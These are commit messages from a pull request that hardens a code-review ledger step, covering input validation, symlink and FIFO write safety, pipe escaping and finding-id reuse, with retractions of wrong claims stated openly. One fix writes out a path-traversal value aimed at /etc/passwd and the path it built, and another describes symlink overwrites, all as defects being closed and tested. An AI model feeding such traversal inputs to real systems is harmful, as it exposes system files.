Emitted-Drift-Ack-Growth: code-review-fix.md — #3829 review round 2, blocker 1c/1d: REQ-REVIEW-09 was unreachable in every shipped path because the in-phase gate runs before any REVIEW-FIX.md exists, so every ledger row it wrote was open and nothing ever reconciled them. This file gains one step, record_disposition, that reads and executes the same lazily-read step after commit_fix_report. It is the only point in the fix flow that is after the report is on disk: code-review.md delegates here through steps/dispatch-fix.md and exits, so it has no such point at all. Growth is one step of prose, no logic is duplicated, and the step is idempotent so the two call sites converge on one ledger.

* chore(#3829): the changeset describes the round's behaviour, not round 1's

It renders into CHANGELOG, so it carries the same misleading implication
minor 3 was about: "the gate ... reconciling fixed/skipped from
REVIEW-FIX.md" reads as though the in-phase gate does it, when the gate
runs before any fix report exists. Says where it happens, and picks up the
round's other user-visible changes -- carried untriaged rows, section-based
severity, the disposition vocabulary, and the unparsed shortfall.

* fix(#3829): a dotted phase number no longer aborts the step

Found by this round's own adversarial review, in its MISSED section: no
finding asked about it, and it is the most serious thing in the round after
the two blockers.

Both callers explicitly accept a dotted phase -- code-review.md:60 and
code-review-fix.md:36 both validate ^[0-9]+(\.[0-9]+)?$ and name "03.1" in
their own error text -- and both fences reconstructed the path with
`printf "%02d" "${PHASE_NUMBER}"`, which cannot format one. Driven with
PHASE_NUMBER=3.1: bash prints `invalid number` and exits 1, and under
`set -euo pipefail` that aborts the step on its FIRST line. An advisory
gate that promises never to block took the phase's entire review report
down with it, and the newly wired fix-path call site inherited the same
defect.

Pad the integer part and carry the sub-number verbatim, so 3.1 -> 03.1 and
3 -> 03, with both arms falling back to the raw value rather than aborting.
Driven: 3.1 now reads 03.1-REVIEW.md and writes
03.1-REVIEW-DISPOSITION.md; the integer path is unchanged.

Two other findings from the same review, both about claims rather than code:

MINOR 2's TEST WAS MIS-NAMED, and the reviewer was right to refute the
claim. It called itself the "reflowed" case while substituting triple
spaces, which is not a reflow. Driven: a genuinely WRAPPED heading is still
not reconciled, because a `###` heading is one line by definition and the
continuation is a separate paragraph. Not widened -- absorbing whatever
follows a heading into the title would swallow arbitrary prose and make the
stale-report check meaningless, and the kept failure mode is the safe one
(a visible mismatch note, never a wrong "fixed"). The test is renamed to
what it covers and the bound is now pinned by its own test.

THE SHELL-SHARING GUARD DID NOT GUARD. Negative-controlling it -- rather
than reading it -- showed that deleting block 2's real REVIEW_FILE
derivation left it GREEN, on the exact defect it was written for. Block 2
prefixes its `node -e` with `REVIEW_FILE="${REVIEW_FILE}" ...` to put the
values in the child's environment, and the detector counted that
self-referential pass-through as a derivation. Pass-throughs are now
excluded, and the control fires. Pre-existing, not introduced here: the
original column-0 anchor matched that same line.

Also worth recording: my first attempt at that control silently patched
nothing and reported clean. Same lesson this PR already learned once.

* fix(#3829): validate the phase number before formatting it, and make the shell guard executable

Three findings from the round review's continuation pass, all confirmed by
driving them.

1. MY OWN DOTTED-PHASE FIX WAS WRONG on the fallback path. `printf "%02d"
   abc` writes `00` to stdout BEFORE it fails, so
   `$(printf ... || printf %s ...)` CONCATENATES the two: `abc` became
   `00abc`, empty became `00`, and a legitimate `08.1` became `0008.1`
   because bash reads the leading zero as octal. An unset PHASE_NUMBER also
   aborted under `set -u` -- in the step that promises never to abort.

   Validate, then format: never format and fall back on failure. Driven
   across every edge the review named -- 3.1 -> 03.1, 3 -> 03, 08.1 -> 08.1,
   09 -> 09, 1.2.3 -> 01.2.3, and abc / empty / -1 / unset carried verbatim
   with exit 0.

2. THE SHELL-SHARING GUARD STILL DID NOT GUARD. Excluding pass-throughs was
   not enough: a structural predicate recognises assignment TOKENS, never
   assignments that derive a usable value, so `REVIEW_FILE=`,
   `REVIEW_FILE=$REVIEW_FILE` and a commented-out assignment all evaded it.
   No regex closes that class.

   The authority moves to execution -- the third time this PR has learned
   that lesson. The real second fence now runs in a fresh shell with nothing
   but the step's two declared inputs and must write the ledger at the
   correct derived path. All four mutations are caught: empty assignment,
   self-reference, commented-out, and deletion. The textual check stays as a
   cheap fast-fail and is labelled as one.

3. THE TITLE-BOUND CORRECTION HAD NOT REACHED THE DOCS. The step comment and
   both docs pages still said a reflowed title reconciles, contradicting the
   bound pinned one commit earlier. Superseded prose left standing reads as
   current to anyone arriving cold, so all three surfaces are rewritten
   rather than annotated, and FEATURES.md regenerated.

Also hoisted `HAS_BASH` to the file's other top-level constants. `const` is
in the temporal dead zone until its declaration runs, and a
`{ skip: !HAS_BASH }` option object is evaluated eagerly, so a bash-gated
test added above the old mid-file declaration threw a ReferenceError that
aborted its whole describe and CANCELLED its siblings -- while the summary
line still read `fail 0`. It caught three separate additions in this round
before I stopped moving tests and moved the constant.

* fix(#3829): refuse an out-of-shape phase number instead of carrying it into a path

Self-found while writing the prompt for the next review pass, which is the
honest provenance: I asked the reviewer whether a path traversal was
reachable through PHASE_NUMBER, then checked before dispatching.

It was, and I had introduced it. The previous commit's fallback carried an
unusable phase number VERBATIM, and PHASE_NUMBER is interpolated into a file
path:

  PHASE_NUMBER='../../etc/passwd'
  -> REVIEW_FILE=/tmp/phase/../../etc/passwd-REVIEW.md

The `printf "%02d"` it replaced had at least mangled that to `00`. A fix
that makes a path more reachable than the bug it replaced is a regression,
whatever it does for the case it was written for.

Both callers already validate ^[0-9]+(\.[0-9]+)?$ (code-review.md:60,
code-review-fix.md:36), so this is defense in depth rather than a live
exploit -- but the step has two call sites now and should not take either
caller's word for its own inputs. It validates the WHOLE value and, on
failure, builds no path at all: PADDED is empty and each fence refuses by
name rather than coercing. Block 1 declines to report counts read from a
path made out of the bad value; block 2 declines to write, which also keeps
it clear of the bare-name ledger defect round 1 closed.

Driven across the shape boundary: 3.1 / 3 / 08.1 / 09 accepted; abc, empty,
unset, 1.2.3, -1, 3., .1, +1, "3 1" and ../../etc/passwd all refused with
exit 0 and a named diagnostic. Reversion control: restoring carry-verbatim
turns the traversal test red.

* fix(#3829): bound the phase number's length, and make the shell guard prove derivation

Third adversarial pass. Two of its three refutations were already closed by
the previous commit (the ../escape and 1/../../escape traversals, and the
unset-input abort); these two were not.

1. A 54-DIGIT PHASE NUMBER WRAPPED SILENTLY. The validator accepted any
   all-digit value, so `$((10#$_int))` overflowed 64 bits and PADDED became
   `-7908320945662590977`. Length-bounded now at 8 digits, exactly as the
   counts already are and for the identical reason -- and the counts guard
   sitting twenty lines away is why this one is embarrassing rather than
   subtle. Driven at the boundary: 8 digits accepted, 9 rejected.

   The bare `${PHASE_NUMBER}` in the suggestion line is hardened to
   `${PHASE_NUMBER:-}` while here. The empty-PADDED guard makes it
   unreachable today, but it is one refactor away from an unbound-variable
   abort under `set -u`, in the step that promises not to abort.

2. THE EXECUTED SHELL GUARD PROVED THE FENCE WORKS, NOT THAT IT DERIVES.
   A single-phase probe is satisfied by a hardcode, and the review
   demonstrated exactly that: replacing the derivation with
   `case ... in 1) PADDED=01 ;; 7) PADDED=07 ;; *) PADDED=07 ;; esac`
   breaks every real phase and passed the entire suite. It now runs two
   distinct phases, 7 and 3.1 -- a hardcode cannot satisfy both, and the
   dotted one additionally pins the integer-part split.

   The claim "given only the declared inputs" was also overstated: the test
   spreads `...process.env` (it needs PATH and HOME). The DERIVED names are
   now explicitly deleted from that environment, so the claim is true rather
   than merely intended.

Also rewrote a comment that had become false: it pinned a describe to the
end of the file because of the HAS_BASH temporal-dead-zone constraint, which
the hoist removed. Superseded prose left standing reads as current to
anyone arriving cold.

The changeset's "the gate stays advisory and never blocks" is now verified
rather than asserted: both fences exit 0 under an unset PHASE_NUMBER and a
traversal-shaped one.

* fix(#3829): validate both inputs, refuse before building a path, and never write through a symlink

Fourth adversarial pass. Four findings, all confirmed by driving them.

1. PHASE_DIR WAS NOT VALIDATED AT ALL. Unset, both fences died with
   `PHASE_DIR: unbound variable` under `set -u` -- the same class as
   PHASE_NUMBER, which I had just spent two commits fixing while its sibling
   input sat one line away. The step declares two inputs; it now validates
   two.

2. THE LENGTH BOUND WAS ON THE WRONG THING. The nine-character glob applied
   to the WHOLE value rather than the integer part, so it falsely rejected
   `12345678.1` (a legal 8-digit phase) while accepting `1.123456`. Each
   component is bounded on its own now; the sub-number is bounded too, since
   it is likewise interpolated into a filename.

3. REJECTED VALUES STILL HAD PATHS BUILT FROM THEM. The refusal guard sat
   AFTER the assignments, so an unusable input still assembled
   `${PHASE_DIR}/-REVIEW.md` and stat'ed it before refusing. The guard is
   now the first thing after validation, and both fences construct paths
   from validated locals rather than from the raw environment.

4. THE LEDGER WRITE FOLLOWED SYMLINKS. From the review's MISSED section, and
   the sharpest thing in it: `fs.writeFileSync` follows a symlink, so a
   pre-existing symlink at the ledger path replaced the contents of whatever
   it pointed at -- outside the phase directory, with the link left intact
   so nothing looked wrong. Driven, and the target's contents were gone.
   This PR introduces the artifact, so it owns the check: an existing ledger
   that is not a regular file is not a ledger, and the advisory gate says so
   and steps over.

The executed shell guard now draws its phases AT RUN TIME. Fixed fixtures
cannot establish derivation -- the review defeated the one-phase version
with a hardcode, then defeated the two-phase version by adding one more arm
to the same case. Any finite sample loses that race. A phase picked per run
cannot be enumerated in advance; the drawn values print in every assertion
message so a failure stays reproducible. Control: the review's three-value
hardcode now fails on three consecutive runs.

Eighth src.includes() converted -- it pinned the literal `${PHASE_DIR}`
interpolation and went red when construction moved to a validated local,
while "writes a REVIEW-DISPOSITION sibling" was untouched. It now asserts
that property, and that REVIEW.md is not written.

The changeset's "stays advisory and never blocks" is verified rather than
asserted: 8 of 8 hostile-input cases across both fences exit 0 -- both
inputs unset, PHASE_DIR unset, a traversal-shaped phase, and a missing
phase directory.

* fix(#3829): check the ledger path before reading it, and pin the write-safety behaviour

Fifth adversarial pass, and the last one this round. Three fixes, three
disclosed residuals.

FIXED

1. A FIFO AT THE LEDGER PATH BLOCKED FOREVER. readFileSync on a FIFO never
   returns, so the step documented as "advisory, never blocks" blocked
   indefinitely -- the literal counterexample to its own headline claim. The
   non-regular-file check ran after that read.

2. THE UNCHANGED-RUN FAST PATH BYPASSED THE CHECK. A symlink whose target
   already matched the rendered ledger read through the link, reported
   `unchanged`, and never reached the refusal.

   Both fixed by the same move: the check is now the FIRST thing the script
   does, before any read or write of that path. Ordering was the defect, not
   the predicate.

3. THE COMMIT TEST FOLLOWED THE LINK the script had just refused. `[ -f ]`
   resolves symlinks, so the guard and its consumer disagreed about the same
   path and the helper could still be handed one. `[ ! -L ]` added.

   And the behaviour shipped with NO regression control -- I hand-drove it
   last commit and did not pin it, which the review caught by grepping for
   the words. Five tests now: symlink, symlink-with-matching-target, FIFO,
   directory, and an ordinary ledger as the negative control so the refusal
   is not a blanket one. mkfifo goes through the process seam like every
   other spawn here.

DISCLOSED, NOT FIXED -- these are stated in the step rather than carried
silently:

- TOCTOU between the lstat and the write. Node exposes no portable
  O_NOFOLLOW write, and an attacker who can write into the phase directory
  mid-run already has what the check would protect. It narrows a real
  accident; it is not a security boundary and the docs claim none.
- A hard link passes isFile() by construction.
- The REVIEW.md and REVIEW-FIX.md reads still resolve symlinks. They are
  reads of files the operator owns, in their own phase directory.

Also narrowed a comment that overclaimed. The randomized guard's domain is
FINITE -- 88 integer and 792 dotted values -- so a mutation enumerating all
880 passes forever, and Math.random() is unseeded, so "reproducible" means
only that the drawn values are printed on failure. Raising the bar is what
it buys; proving derivation is not, and nothing short of reading the fence
is. The previous comment claimed otherwise and was refuted.

* test(#3829): make the write-safety controls portable to the Windows lane

CI caught what neither the local suite nor five adversarial review passes
could: every one of those ran on Linux.

The FIFO test gated on `mkfifo`'s exit code. On the Windows lane mkfifo
EXISTS and exits 0 while producing something that is not a FIFO, so the
guard passed, the test ran against an ordinary path, the ledger wrote
normally, and the assertion failed for a reason unrelated to the behaviour
under test. It now gates on `lstatSync().isFIFO()` -- what was actually
created, not what the command claimed. Control: with the shipped guard
disabled the test still goes red on Linux, where the FIFO is real.

The two symlink tests are skipped on win32, following this repo's existing
convention for symlink-planting tests (tests/settings-jsonc.test.cjs:389
skips the same class; tests/unreachable-guard-drift.test.cjs:726 records the
reason -- symlink creation requires elevated privileges on Windows CI). The
privilege happened to be available on the lane this round, which is exactly
why the convention is not "try it and see".

* fix(#3829): a bare `|` in a deferral reason is prose, not a parse failure

Review round 3, the one blocker. The Source cell is the one field this ledger asks a
human to hand-edit, and "waiting on team A | team B to align" is an ordinary thing to
type there. The prior-row capture admitted a pipe only when escaped, so a bare one
failed the WHOLE line: prior.get() was undefined, the row fell through to `open` with
an empty Source, and the console line read "1 of 1 finding(s) open" — a Critical a
human explicitly deferred, with a documented reason, rendered indistinguishable from
one never triaged, and the reason gone. The exact ambiguity #3829 exists to remove,
reachable by one missing backslash.

The Source cell is the LAST column, so it is now captured through to the end of the
line, less an optional trailing pipe; a bare `|` inside it is prose. The render
escapes a bare pipe on the next write so the table stays a table, and the escaped
form re-parses to itself, so the second run reports `unchanged` — the fixed point
holds. The ledger's own instruction line says so instead of asking the human to
escape.

Why the property never caught it: SOURCE_CELL only ever appended a PRE-ESCAPED pipe,
so the arbitrary built to stress this cell could not reach the one input that broke
it. It now also emits a bare pipe, and the round-trip expectation is the escaped
form of what the human wrote. A fixed regression case drives the reviewer's exact
input through two runs and asserts the decision, the reason, the headline count and
convergence. Negative-controlled: both new tests fail against the previous capture.

The src.includes() pin on the old capture text is retired for the behavioural case —
it was pinning the defect.

* fix(#3829): escape every bare pipe in one write, whatever precedes it

Round 3, found by the adversarial pass over the round's own fix rather than by the
review. The first escape used /(^|[^\\])\|/g, which CONSUMES the character before the
pipe: adjacent bare pipes were escaped one per run (A||B -> A\||B -> A\|\|B, a third
run to converge, breaking the advertised second-run fixed point), and an escaped
backslash before a pipe (A\\|B) hid the pipe behind the wrong parity and left it bare
in the rendered table. The property generator emits at most one bare pipe, which is
the one case the old form got right, so no property reached either.

Scan as pairs instead: an escaped pair (backslash + anything) is kept verbatim and only
a pipe outside one is escaped. One write, then a fixed point. Regression case drives
`A||B and C\\|D` through two runs; it fails against the previous escape.

* fix(#3829): the script leaves by return, so an explicit exit cannot drop its verdict line

Round 3, from the adversarial pass over the round's own fix. The embedded node script
printed its verdict and then called process.exit(0) -- on the 'unchanged' branch only;
the 'recorded' branch fell off the end. Node's "A note on process I/O" documents
process.stdout writes to pipes and sockets as asynchronous on POSIX, and process.exit()
as forcing exit before pending asynchronous stdout writes complete -- so on a POSIX
lane the caller can see exit 0 with no verdict line. This is a hardening against that
documented hazard, not a reproduced defect: the reviewer's empty-second-run stdout,
which first pointed here, turned out to be its own sandbox -- a bare console.log child
printed nothing there either -- and that attribution is withdrawn.

The script now runs inside main() and leaves by return on all four early-exit paths,
so the event loop drains stdout before the process ends. Same exit status either way,
and the || echo fallback is unaffected. A structural test pins the absence of the call
(comment-stripped; dotted, bracketed and whitespace-split spellings). The empty-review
docs-parity pin that asserted the literal process.exit(0) line is retired -- the
round-2 describe drives that property behaviourally.

Also widens the property generator: SOURCE_CELL now reaches adjacent pipes and a
backslash of either parity before a pipe, the two shapes the first render escape got
wrong while passing every input the generator could then produce -- checked against
an independent parity-walk oracle rather than a copy of the render's own scan.

* fix(#3829): record what an --auto iteration fixed, instead of reporting it open

Round 5's major. `record_disposition` runs once, after the whole capped-at-3
`--auto` loop converges — but this workflow keeps ONE final version of REVIEW.md
and REVIEW-FIX.md rather than per-iteration copies, and deletes the .iterN.md
backups on convergence. A finding fixed in iteration 1 was therefore absent from
the final review (it was fixed, so the re-review stopped reporting it) AND from
the final fix report (overwritten by the last iteration), so the row fell back to
the gate's `open` and rendered `open ... (not in the current review)` — the same
bytes a finding that vanished for an unrelated reason produces. That is the one
distinction #3829 exists to make, undone by the artifact built to make it.

The precise site was the two-arm `applied` construction: for an id the current
review does not report, `sameTitle(undefined, h.title)` is false and
`title.has(id)` is false too, so the entry entered NEITHER `applied` NOR
`staleFix`. It was dropped in silence.

Four changes, one defect:

- A third arm. When the review does not report an id at all there is no title to
  disagree with, so this is not the stale-report case — it is what a finding
  looks like once it has been acted on. Record it. The id-reuse hazard stays
  closed by the arm below it: when the review DOES report the id, a title
  mismatch still goes to `staleFix` and is never applied, so a renumbered
  finding cannot inherit an earlier iteration's `fixed`.
- Rows for decided ids the review no longer reports, carried and marked. A
  decision the ledger cannot render is a decision lost — the same silent drop
  the carry-forward loop already refuses for prior rows, one source over.
- The .iterN.md fix-report backups are read alongside the final report, newest
  first, so the most recent statement about an id wins — the precedence a
  duplicate id already gets within one report.
- The shell guard proceeds on a fix report, not only on an existing ledger. A
  direct `/gsd-code-review N --auto` writes no gate ledger, and a converged loop
  leaves `status: clean`, so a fully successful multi-iteration run recorded
  nothing at all.

And the backups now go in `cleanup_iteration_backups`, after the ledger has read
them. #3190's rule is untouched — spent scratch on convergence, retained on
degradation — only the timing moved; deleting them inside the loop erased every
early fix before anything read it. `CONVERGED` does not survive the loop's shell
and is re-derived from the final review's status, which is exactly how the loop
sets it; anything but a proven-clean review retains.

Seven new regression tests plus an ordering test, all eight reversion-controlled
against pre-fix code — every one fires. One is the negative control that matters:
a reused id whose title differs must stay `open`, never inherit `fixed`.

Residual, stated: an id appearing only in an iteration fix report takes its
severity from the id prefix rather than a section heading, because `sectionSev`
is built from the current review. That is the documented fallback for carried
rows, not a new gap.

* test(#3829): pin the two PADDED derivations against a silent desync

Round 5's minor 1. Each fenced block runs in a fresh shell and must derive what
it reads, so the PADDED derivation — the traversal fence between an
attacker-influenceable phase number and a file path, plus the per-component
length bound — is duplicated verbatim. Both copies were independently tested and
nothing asserted they stay in step, which is the shared-parallel-surface shape
CLAUDE.md requires a parity test for, on security-relevant validation logic
rather than incidental repetition.

Compared line by line rather than through a normalizing rewrite: a normalizer
has to be told what may differ, and whatever it is told to tolerate stops being
asserted. Exactly one line may differ — each block refuses by its own name — and
the test names both forms. It also asserts the slice is substantial, since a
parity test over an empty slice passes vacuously.

Control: dropping one `?` from block 2's length bound, which moves that copy's
limit to 7 digits while block 1 keeps 8, turns it red. That is the exact silent
divergence the finding describes.

One correction to the finding's own statement, since it is worth recording: the
cited lines are :324 and ~:480, which are node-script lines; the derivations are
at :48-83 and :211-246. And they are 35-of-36 identical rather than
byte-identical — the refusal message differs, deliberately.

* docs(#3829): state the PHASE_DIR trust boundary instead of carrying it

Round 5's minor 2 asked that the assumption behind PHASE_DIR's validation be
confirmed rather than silently carried forward at the two new call sites. It is
confirmed, and the comment that stood here was wrong about it: "PHASE_DIR is the
step's other declared input and gets the same treatment" describes something the
code does not do.

Both inputs have the SAME provenance — each caller binds them from
`gsd_run query init.phase-op` (code-review-fix.md:7,17; execute-phase.md the
same) — so neither is raw user input and neither is more trusted. The asymmetry
is not about trust. It is that only one of them has a shape: PHASE_NUMBER
carries a documented contract, `^[0-9]+(\.[0-9]+)?$`, asserted by both callers,
so a value outside it is provably wrong and is refused. PHASE_DIR's contract is
"a filesystem path", which admits `..`, absolute and relative forms and
symlinked parents alike; no predicate separates a legitimate planning directory
from an illegitimate one, so a shape check would reject working setups while
proving nothing.

So the emptiness check is adopted as what it actually is — the guard against
`PHASE_DIR: unbound variable` aborting a step that promises never to block — and
the shape check is declined, with the reason written where the next reader meets
it rather than left to be re-derived.

The residual is restated in place rather than left in a PR comment: PHASE_DIR
may itself be a symlink and the ledger is then written through it, outside the
phase directory, deterministically. Left alone deliberately — the write goes
where the caller pointed. Not a security boundary, and nothing here claims one.

* docs(#3829): record why HAS_BASH is a platform assumption, not a probe

Round 5's minor 3 is DECLINED, and the reason is the repo's own contract rather
than a judgement call — written at the constant so the next reader does not
"fix" it and re-enable what the rule exists to prevent.

The gap is real and confirmed: 22 tests carry `{ skip: !HAS_BASH }`, so block
1's bash severity-reporting path has no Windows-lane coverage. But
`local/no-unguarded-nonportable-exec`
(eslint-rules/no-unguarded-nonportable-exec.cjs, DEFECT.WINDOWS-TEST-PORTABILITY)
REQUIRES this guard around `sh -c` / `bash -c` in tests, and its own remedy text
names `if (process.platform !== 'win32')` as the sanctioned form, because these
constructs fail under Windows Git Bash. So the constant is the repo's answer to
this question, not an oversight in this PR.

Swapping it for a runtime `bash` probe would light 22 tests up on a lane the
rule has already determined they cannot pass — trading a legible, rule-encoded
skip for a red matrix. Reversing that is the rule's decision; a change here
belongs with a change there.

* docs(#3829): describe how --auto's iterations reach the disposition ledger

The reconciliation section described the `--fix` path accurately and said
nothing about `--auto`, which is where round 5's major lived. It now states
that the loop overwrites its fix report each pass, that the re-review drops a
finding once it is fixed, that the gate therefore reads the per-iteration
backups newest-first, and that the backups are removed after the ledger has read
them rather than before. It also states the converged-with-no-ledger case: a fix
report on disk is reason enough to record.

FEATURES.md regenerated (176 features / 21 groups). Changeset extended to name
the shipped behaviour rather than only the `--fix` half.

* fix(#3829): clear lint-workflow-shellcheck, a gate the base range added

Not from the review. The rebase onto `next` brought in `lint-workflow-shellcheck`
(#4109), whose baseline was generated before this PR's new step file existed — so
that file's findings are new by construction and `lint:ci` exited 1 on the
rebased head before this round touched anything. The last green CI run predates
the gate. Caught locally rather than by a red push.

Three fixes and one baseline entry, split by whether the finding is real:

- STRUCTURAL (not ShellCheck, not baselineable): the guard's
  `for _f in "…${PADDED}-REVIEW-FIX.iter"*.md` is the bare `for x in $VAR` shape
  that word-splits differently under bash and zsh. Wrapped in
  `$(printf '%s' "$PADDED")`, the linter's own prescribed remedy.

- SC2097/SC2098, and this one was a genuine latent bug rather than a lint nit:
  `FIX_REPORT_FILE="${_pd}/${PADDED}-REVIEW-FIX.md"` sat in the same env-prefix
  list that sets `PADDED`, so its `${PADDED}` expanded the OUTER variable, not
  the one two entries earlier. Both happen to hold the same value here, which is
  exactly why it would have kept being wrong quietly. Built before the command
  now.

- SC2317 ×3 is baselined, not fixed. It fires on
  `return 0 2>/dev/null || exit 0` — the deliberate idiom that lets a fence
  refuse whether it is sourced or executed — and the verdict is a false
  positive: the `exit 0` is reached precisely in the executed case. Rewriting a
  dual-mode refusal to satisfy a wrong unreachability claim trades a real
  behaviour for a clean report. Baseline 207 -> 210.

`lint:ci` exits 0. 173 tests pass across the two touched files.

* fix(#3829): a reused finding id no longer inherits the old finding's decision

Found by this round's own adversarial review, which drove it rather than
reasoned about it — and it refuted the arm I had named as my strongest
suspicion, so it is recorded as a correction, not a discovery.

Finding ids are reused across re-reviews: the --auto loop renumbers. `row()`
inherited a prior decision on an id MATCH ALONE, with nothing checking it was
the same finding. Driven: a prior `CR-01 fixed` row against a review reporting a
brand-new CR-01 rendered the NEW finding `fixed`. A false decision in the
artifact whose entire purpose is telling triaged from forgotten — the same
failure mode round 4's blocker was, reached by the other door.

I had argued this was closed by the stale-report arm. It is not: that arm guards
the FIX-REPORT path only. The PRIOR-LEDGER path had no title check at all.

- The ledger now records each finding's title, in the FRONTMATTER rather than a
  fifth table column: the Source cell is the field a human hand-edits and the one
  that must escape pipes, and a second free-text column doubles that surface for
  no reader benefit.
- A prior decision is inherited only when the recorded title still matches. An
  ABSENT prior title inherits, deliberately — a ledger written before titles were
  recorded carries none, and refusing there would reset every decision in it,
  which is the loss this guard exists to prevent, caused by the guard.
- A decision whose id has been reused is PRESERVED under a `superseded:` key
  rather than dropped. The review's driven refutation was precisely that the
  mismatch was surfaced while the decision was lost. It cannot keep a row — the
  id is taken, and two rows under one id is an ambiguity, not a record — so it is
  carried in the frontmatter, re-emitted every run, deduped by id+title, and
  named on the console.
- And an iteration-derived decision now cites the report it actually came from.
  The Source cell hard-coded the unsuffixed `<NN>-REVIEW-FIX.md`, so a decision
  read out of an iteration backup cited a file that may not exist. A citation the
  reader cannot follow is worse than none. Also the review's finding.

Five new tests. Four fail against the pre-fix step; the fifth — that a ledger
with no recorded title still inherits — is a BACK-COMPAT guard and passes both
ways by construction. It is not a reversion control and is not counted as one.

* fix(#3829): follow the cleanup move through, and stop miscalling a converged run

Three loose ends the earlier cleanup relocation left, two of them found by the
round's own review and one by the suite.

**#3190's own test still pinned the old placement.** T6 asserted the `.iterN.md`
removal lives inside `auto_iteration_loop` — exactly what moving it broke. Its
SEMANTICS are unchanged and still asserted: removed on convergence, retained on
degradation, creation intact. What it now pins additionally is the ordering that
forced the move — the ledger reads the backups BEFORE they are removed — and that
the loop no longer removes what it just wrote. Rewritten rather than deleted: the
assertion was superseded, the guarantee was not.

**`CONVERGED` had become a decoy.** With the removal gone from the loop, the flag
was set in two places and read in none. Deleted, and the prose that still said
"the loop sets it" rewritten to what is true: the loop breaks on exactly one
condition, a clean re-review, which leaves REVIEW.md at `status: clean` — and that
is what `cleanup_iteration_backups` re-derives from.

**A converged final iteration reported the opposite of what happened.** The
post-loop message keyed on the iteration COUNTER alone, so a run that converged ON
iteration 3 exited with `ITERATION == MAX_ITERATIONS` and printed "Reached maximum
iterations. Remaining issues documented in REVIEW-FIX.md" over a run in which
every finding was fixed. Convergence is re-derived from the review the loop left
behind — the same signal the cleanup step reads, so the two cannot disagree.

* docs(#3829): retract two claims this round made and could not support

Both were caught by the round's own adversarial review, both were driven, and
both would have reached the maintainer. Recording the retraction where the claim
was made, rather than only in a PR comment.

**The env-prefix "latent bug" does not exist.** An earlier commit in this round
claimed that `FIX_REPORT_FILE="${_pd}/${PADDED}-REVIEW-FIX.md"`, sitting in the
same `node -e` env-prefix list that sets `PADDED`, expanded the OUTER variable
rather than the one two entries earlier — reading ShellCheck's SC2097/SC2098 as
a defect report. Driven in bash and in dash: assignments in one prefix list take
effect left to right, and the later entry DOES see the earlier one. The warning
is a false positive here. The split is kept, but for readability only; the
comment no longer describes it as a fix.

**The HAS_BASH decline rested on a rule that does not govern these call sites.**
It cited `local/no-unguarded-nonportable-exec` as REQUIRING the
`process.platform !== 'win32'` guard. Checked, and wrong on both halves: the rule
fires only on a file that also chmods an exec bit with an octal literal, and this
file has none — so it never runs here — while
`eslint-rules/lib/platform-guard.cjs` accepts four guard shapes plus
`os.platform()`, not one. A constraint that exists is not a constraint that
applies, and I did not check which.

The decline stands on narrower and honest grounds: whether these fences PASS on
the Windows lane is UNVERIFIED. What evidence there is points at divergence
rather than absence — the rule's subject line is that `bash -c` constructs "fail
on Windows Git Bash", and this PR already measured `mkfifo` existing on that
runner, exiting 0, and creating no FIFO. So a probe would not be a clean win; it
would light 22 tests on a lane whose shell semantics are known to differ and
unknown in detail. That is a measurement to make deliberately, not a change to
make in passing. The gap is real and is now stated as a gap.

* fix(#3829): close four defects the review drove out of the first title fix

The round's own adversarial review re-ran against the reworked tree and refuted
two more claims. Every item below is its finding, verified before acting.

**An iteration-only decision recorded no title, so the reuse guard leaked.**
`applied` stored `{d, src}` and the row took its title from the current review —
which does not report the finding at all. The row shipped with no title, and the
next review reusing that id hit the title-ABSENT back-compat exception and
inherited the old `fixed`. The exact defect the title machinery exists to close,
surviving through the hole opened for legacy ledgers. `applied` now carries the
title it was decided under.

**A changed decision was dropped in favour of the obsolete one.** The dedupe was
a has()-guard, so re-superseding a finding whose decision had since changed left
the older record standing. It now replaces.

**Re-spaced titles double-recorded.** The dedupe keyed on the raw title while
`sameTitle()` collapses whitespace; the key now agrees with the comparison.

**And the frontmatter was not valid YAML.** `title: Parser: loses data` is
rejected outright by a real reader, and the `superseded:` line format was not
YAML at all. Values are emitted as JSON scalars — YAML 1.2 is a JSON superset —
and superseded records are properly nested. Round-tripped through js-yaml in the
tests.

One more, self-inflicted while fixing the above: the parse registered each
carried superseded record TWICE, once at `- id:` under an empty-title key and
again at `title:`. Records doubled on every run. They are collected during the
walk and registered once, complete.

**T6 was vacuous.** The review flipped `= "clean"` to `!=` in the cleanup and the
rewritten T6 still passed — it greps for `FINAL_STATUS`, `rm` and "retained"
occurring somewhere, never wiring them to a branch. T6b now EXECUTES the fence in
both directions against real files. It fails on that exact mutation.

**And a converged final iteration printed two success messages** — the loop's
break already reported it. This branch now stays silent and exists only to
withhold the degradation warning.

Three CI gates the base range brought in, all tripped by this round's own text:

- `/gsd-code-review` in a comment — runtime workflow artifacts take the colon
  form. Now `/gsd:code-review`.
- The preamble-ordering parity test: my PHASE_DIR comment wrote the literal
  `gsd_run` before the shim preamble. Reworded.
- Prompt-stuffing: the file passed 50K. I trimmed 5.8K of my own commentary
  first; even removing every added comment leaves the added CODE over the line,
  and the file entered this round at 44,523 — 89% of the budget. Added to
  SIZE_ONLY_WORKFLOWS with the same reasoning the two existing entries carry, and
  the same acknowledgement: splitting is the real fix.

* test(#3829): extract the cleanup fence without an ad-hoc markdown regex

T6b's helper used `/```bash\n([\s\S]*?)\n```/`, which trips two of the repo's own
rules: `local/no-adhoc-markdown-parsing` (use the sectionizer, not a hand-rolled
fence regex) and `local/no-crlf-fragile-split` (a bare `\n` against readFileSync
content is wrong under Windows autocrlf).

Line-scanned now, CRLF-normalized first — the same shape `bashFences()` in
tests/code-review-pipeline-regression.test.cjs already uses, which solved this
first. `npm run lint` is clean and T6b still fails on the inverted-branch
mutation it exists to catch.

* fix(#3829): withdraw the superseded-decision store; keep the identity guard

Three adversarial passes over this round each found real defects, and passes 2
and 3 were entirely inside the `superseded:` block added in pass 1 — a second
identity scheme, keyed on (id, title), living beside the row store keyed on id.
Pass 3 refuted it on three separate counts: a legacy title that merely looked
like JSON lost its quotes and fabricated a record; a finding that was deferred,
superseded, then returned and fixed left an active row and an obsolete
superseded record standing together, reporting `unchanged` forever; and my own
test for the replacement path never passed the earlier ledger in, so it guarded
nothing.

The construct had no terminal state. It is withdrawn.

**What survives is the safety property.** The ledger records each finding's
title, and a recorded decision is carried forward only while the id still names
the same finding. That is what stops a renumbered `CR-01` inheriting an earlier
`CR-01`'s `fixed` — a false decision in the artifact whose purpose is telling
triaged from forgotten, and the same class as round 4's blocker.

**What is given up, and it is disclosed rather than hidden.** On a detected
reuse the earlier decision loses its row. The drop is reported on the console
naming the id and what had been decided, the previous ledger is committed so the
row remains in git, and docs/features/code-review-pipeline.md states the
limitation.

